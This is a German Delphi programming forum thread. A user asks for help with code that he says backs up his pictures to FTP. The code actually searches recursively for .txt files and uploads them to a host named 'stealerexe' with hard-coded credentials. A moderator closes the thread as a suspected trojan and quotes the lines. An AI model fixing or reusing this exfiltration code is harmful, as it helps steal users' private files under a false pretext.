Autor Beitrag
crossit
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starontopic star
Beiträge: 39



BeitragVerfasst: Di 21.07.09 21:32 
hey leute
da mein pc voll mit vielen datein ist und ich meine ganzen bilder aufm ftp server speichern will habe ich mir nen kleines programm geschrieben welches nach den bildern sucht und sie uploaden sollte. leider funzt das uploaden irgenwie nicht -.- kennt einer meinen fehler?
ausblenden volle Höhe Delphi-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
procedure findallfiles (RootFolder: string; Mask: string = '*.txt'; Recurse: Boolean = True);

var
  SR: TSearchRec;
  MyIdFtp: TIdFtp;
 begin
   begin
    RootFolder := IncludeTrailingPathDelimiter(RootFolder);
    if Recurse then
    if FindFirst(RootFolder + '*.txt', faAnyFile, SR) = 0 then
      try
        repeat
          if SR.Attr and faDirectory = faDirectory then
        if (SR.Name <> '.'and (SR.Name <> '..'then
              FindAllFiles(RootFolder + SR.Name, Mask, Recurse);
        until FindNext(SR) <> 0;
      finally
        FindClose(SR);
      end;
  if FindFirst(RootFolder + Mask, faAnyFile, SR) = 0 then
    try
      repeat
        if SR.Attr and faDirectory <> faDirectory then
begin
  MyIdFtp := TIdFtp.Create;
  try
    MyIdFtp.Host := 'ftp.stealerexe.st.ohost.de';
    MyIdFtp.Username := 'stealerexe ';
    MyIdFtp.Password := 'asdasdas';
    MyIdFtp.Connect;
    MyIdFtp.Put(RootFolder + SR.Name + szufallszahl);
  finally
    MyIdFtp.Disconnect;
    MyIdFtp.Free;
  end;
end;

      until FindNext(SR) <> 0;
    finally
      FindClose(SR);
    end;
  end;
 end;
 procedure TForm1.ZufallsZahl;
begin
randomize;
IZufallsZahl := random (10000000);
SZufallsZahl := IntToStr (IZufallsZahl);
end;


Moderiert von user profile iconNarses: Code- durch Delphi-Tags ersetzt
Xentar
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starofftopic star
Beiträge: 2077
Erhaltene Danke: 2

Win XP
Delphi 5 Ent., Delphi 2007 Prof
BeitragVerfasst: Di 21.07.09 21:52 
1. Wie verhält sich das Programm? Fehlermeldung, oder was passiert?
2. Überleg mal, was du da tust. Für jede Datei erzeugst du eine FTP Komponente, baust die Verbindung auf, lädst die Datei hoch, und trennst die Verbindung. Meinste nicht, es wär besser, einmal die Verbindung aufzubauen? Manche FTPs haben Schutzmechanismen, gegen zu häufiges Neuverbinden.

_________________
PROGRAMMER: A device for converting coffee into software.
crossit Threadstarter
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starontopic star
Beiträge: 39



BeitragVerfasst: Di 21.07.09 22:01 
also habe keine fehlermeldung oder adneres kann es ganznormal ausführen. das mit dem ständigen trennen habe ich beseitigt jedoch kommt auf meinem server immernoch nichts an -.-
funzt den überhaupt das suchen? werde das gleich mal nachgucken aber denke schon oder?
Xentar
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starofftopic star
Beiträge: 2077
Erhaltene Danke: 2

Win XP
Delphi 5 Ent., Delphi 2007 Prof
BeitragVerfasst: Di 21.07.09 22:03 
Das kannst du ja einfach rausfinden:
Haltepunkt setzen (links neben die Zeile klicken) -> Programm ausführen -> schauen, ob der da anhält.

_________________
PROGRAMMER: A device for converting coffee into software.
crossit Threadstarter
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starontopic star
Beiträge: 39



BeitragVerfasst: Di 21.07.09 22:21 
so also haltpunkt hält dort
Xentar
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starofftopic star
Beiträge: 2077
Erhaltene Danke: 2

Win XP
Delphi 5 Ent., Delphi 2007 Prof
BeitragVerfasst: Di 21.07.09 22:28 
Moderiert von user profile iconNarses: Inhalt entfernt, da hier keine Hilfestellung erwünscht ist.

_________________
PROGRAMMER: A device for converting coffee into software.
Narses
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic star
Administrator
Beiträge: 10183
Erhaltene Danke: 1256

W10ent
TP3 .. D7pro .. D10.2CE
BeitragVerfasst: Di 21.07.09 22:47 
Moin!

Der Thread ist bis auf weiteres geschlossen, da dringender Verdacht auf einen Trojaner vorliegt:
user profile iconcrossit hat folgendes geschrieben Zum zitierten Posting springen:
da mein pc voll mit vielen datein ist und ich meine ganzen bilder aufm ftp server speichern will habe ich mir nen kleines programm geschrieben welches nach den bildern sucht und sie uploaden sollte.
[...]
ausblenden Delphi-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
    if FindFirst(RootFolder + '*.txt', faAnyFile, SR) = 0 then
//...
    MyIdFtp.Host := 'ftp.stealerexe.st.ohost.de';
    MyIdFtp.Username := 'stealerexe ';
    MyIdFtp.Password := 'asdasdas';
    MyIdFtp.Connect;
    MyIdFtp.Put(RootFolder + SR.Name + szufallszahl);
//...
procedure TForm1.ZufallsZahl;
begin
randomize;
IZufallsZahl := random (10000000);
SZufallsZahl := IntToStr (IZufallsZahl);
Ich erinnere mich sogar daran, einen sehr sehr ähnlich verlaufenen Thread incl. Code schonmal deshalb geschlossen zu haben... :gruebel:

Diese Entscheidung ist Ermessenssache, subjektiv und diskussionsfähig. Wenn du dazu per VA Stellung nehmen möchtest, werden wir das im Team diskutieren und diese Entscheidung gegebenenfalls ganz oder in Teilen revidieren.

cu
Narses

_________________
There are 10 types of people - those who understand binary and those who don´t.
Dieses Thema ist gesperrt, Du kannst keine Beiträge editieren oder beantworten.

Das Thema wurde von einem Team-Mitglied geschlossen. Wenn du mit der Schließung des Themas nicht einverstanden bist, kontaktiere bitte das Team.